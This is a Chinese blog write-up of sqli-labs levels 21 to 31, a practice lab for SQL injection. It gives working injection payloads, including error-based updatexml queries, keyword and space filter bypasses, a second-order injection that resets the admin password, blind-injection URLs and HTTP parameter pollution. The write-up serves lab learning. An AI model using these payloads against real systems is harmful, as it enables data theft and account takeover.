sql-labs21-30关

发布时间 2023-05-24 16:43:43作者: vaneshadow

level21

先admin:admin登录

image-20230401114003707

由此可见cookie被加密了

可以尝试在每次注入前对payload进行加密在注入

先将语句进行base64加密,再进行注入,通过回显找到闭合方式为')

image-20230401121629231

获取行数admin')order by 4# 得到行数为3

image-20230401121741101

image-20230401122146337

然后开始爆破数据表,列等等

level22

image-20230402132508696

闭合为"了

其他的一样

image-20230402132750731

level23

image-20230402132944339

image-20230402133156908

字符型注入而且+被过滤掉了

image-20230402133446015

将注释符替换为了空格

通过源码发现#和--都被被过滤为空字符串,只有想方法将闭合符号消耗完毕,让后台能够接收,处理掉

原有的闭合方式

image-20230402135609494

id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

这样构造闭合的目的就是将原有单引号进行逃逸使查询语句变为 id='-1' xxx and '1'='1' 最后的半个

单引号用于逃逸后台的闭合方式

image-20230402135825972

试过了前面那几关get类型也能用

level24

二次注入:二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入

到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,

当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。简言之就是将

脏数据进行简单过滤后开发者就认为该数据可信便存入数据库中,当下一次调用该数据时,该数据就会

拼接到其他查询语句中造成注入。

首先要注册一个账号,用户名为admin' #

image-20230403164627628

登录之后,修改密码,该修改密码功能的语句变为

UPDATE users SET passwd="New_Pass" WHERE users='admin'

这时候我们就是在进行越权改变管理员的密码,从数据库中抽出我们注册的新账户,用该账户越权修改

管理员的密码

将密码改为123456,然后用管理员的账户,登录密码123456

管理员账户登录成功

image-20230403163920806

相当于我们输入的用户民最后用来闭合user,从而致使sql语句实行的时候将admin的密码进行了改变

level25

通过下方hint,发现and和or都被过滤了,尝试大写也被过滤了

image-20230403164944801

解决思路将or变成oorr,这样后台过滤了or还剩下or或者用||代替or(and一样的方式)

或者用 union select联合查询

tips:在url中&&还有传参的作用如果需要使用&&需要进行url编码 && ->%26%26

爆破数据库名
?id=-1' oorr updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
或者
?id=-1' || updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆破数据表
?id=-1' oorr updatexml(1,concat(0x7e,(select group_concat(table_name)from
infoorrmation_schema.tables where table_schema=database() ),0x7e),1)--+
注意:information中也有or需要进行双写

其他的爆破字段等也是相同的玩法

level 25a

测试发现与Less25的区别是数字型注入

level26

image-20230403180628709

单引号闭合 过滤了 or,and , /* , – , # , 空格 , /

将id中的 or and -- # 等都进行了改为空的操作 ,\s过滤了空格和换行,解决and or可以双写或者用&&和||代替,解决注释需要强行闭合逃逸,需要空格的地方可以加上括号,白盒测试发现注入类型为字符型

and or ——> && ||
# -- ——> 闭合逃逸
/s ——> 括号

我们常见的绕过空格的就是多行注释,/**/但这里过滤了,所以这行不通,

%A0替代空格 &&替换and 注意url编码 需要linux 不测试了

因为给我#不让用了,那就只能闭合了

image-20230403181604869

?id=-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

image-20230403181824508

level26a

闭合变为了')

level27

image-20230403184124527

又是一个过滤

select,union这类关键词只过滤完全大写或者完全小写,针对php这种弱类型语言,可以采用部分大写

部分小写绕过

空格,换行——> %0a
payload为?id=1'and%0aupdatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1

level27a

测试后发现闭合方式为双引号,其余与Less27相同

level28

image-20230403185229240

\s 查找空白字符

将union select进行了屏蔽,解决的办法就是绕过union select 即可,测试发现没有报错回显,闭合方式为')

union union select select方法绕过,空格照样用%0a替换 亲测这个方法其实没什么鸟用

使用盲注

<span style="color:#333333;">长度是8
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
第一个字符是115,即s
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>115)and('1')=('1</span>
sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1

成功则 image-20230403191602156

失败则image-20230403191617256

level 28a

通过源码发现仅仅匹配了union select组合,其余都未匹配,与Less28一样,用盲注的方式

image-20230403191709125

level29

HTTP参数污染

服务器端有两个部分:第一部分是tomcat为引擎的jsp型服务器,第二部分是apache为引擎的php服务器,真正提供web服务的是php服务器,往往在tomcat的服务器处做过滤处理,功能类似于waf,由于解析参数的机制不同,我们可以利用该原理绕过waf的检测;数据解析的顺序:tomcat从前往后,appache从后往前。

image-20230403195202221

显示的是id=2的内容 但是waf检测的是前面id=1的内容

此关的通关简单联合查询即可,目的是了解参数污染的原理

payload为?id=1&id=0' union select 1,2,(select group_concat(column_name)from
information_schema.columns where table_schema=database() and
table_name='users')--+

image-20230403194950320

爆列等相同玩法

level30

与Less29的区别为闭合方式为双引号

Less31

通过页面回显发现与Less29的区别为闭合方式为双引号家括号")